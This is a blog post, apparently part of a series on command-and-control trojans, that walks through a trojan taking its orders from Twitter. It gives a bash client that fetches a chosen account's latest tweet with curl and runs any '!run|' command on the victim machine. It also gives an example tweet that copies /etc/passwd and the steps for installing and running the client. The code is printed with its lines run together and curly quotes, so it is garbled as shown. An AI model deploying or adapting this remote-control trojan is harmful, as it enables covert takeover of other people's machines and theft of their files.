This is the third post in a series covering various command and control (C2) trojan concepts and strategies

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In the last few posts I covered a few C2 Trojans (DNS C2 Trojan, HTTP GET and POST Trojan). In this post I wanted to cover a method that uses Twitter for command and control.

Quick Twitter Command and Control Trojan Setup

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To do this, we need to set up an account that we will use to post commands on Twitter. For this example, we will say C_AND_C_USER. Now, we can post a few tweets containing the following message:

		!run cat /etc/passwd > /tmp/test.txt	

Now we can use the following code to run the command from the latest tweet on the victim machine:

		#!/bin/bashIFS_BAK=$IFSIFS=""for i in `curl https://api.twitter.com/1/statuses/user_timeline.rss?screen_name=C_AND_C_USER 2>/dev/null|grep title|grep -v Twitter|head -n 1|sed -e ‘s/<title>//’ -e ‘s/</title>//’ -e "s/C_AND_C_USER://" -e "s/^ //g" -e "s/^ //g"`doif [ `echo $i |grep "^!sleep|"` ] ; thenecho "..."elif [ `echo $i |grep "^!run|"` ] ; thenrun=`echo "$i"|sed -s ‘s/^!run|//’`bash "$run"elseecho "..."fidone	

The only thing we need to do is replace C_AND_C_USER with the real Twitter handle. You can do this using sed:

		sed -i ‘s/C_AND_C_USER/fakename/g’ twitter_client.sh	

Run Client

Finally, we run twitter_client on the victim to execute the command on the victim machine.

		bash ./twitter_client.sh	

The client will run the last posted Twitter command if it starts with ’!run|’. If you post a tweet that starts with something else or starts with ’!sleep|’ the client will not run any command.

Regards,

Jabra

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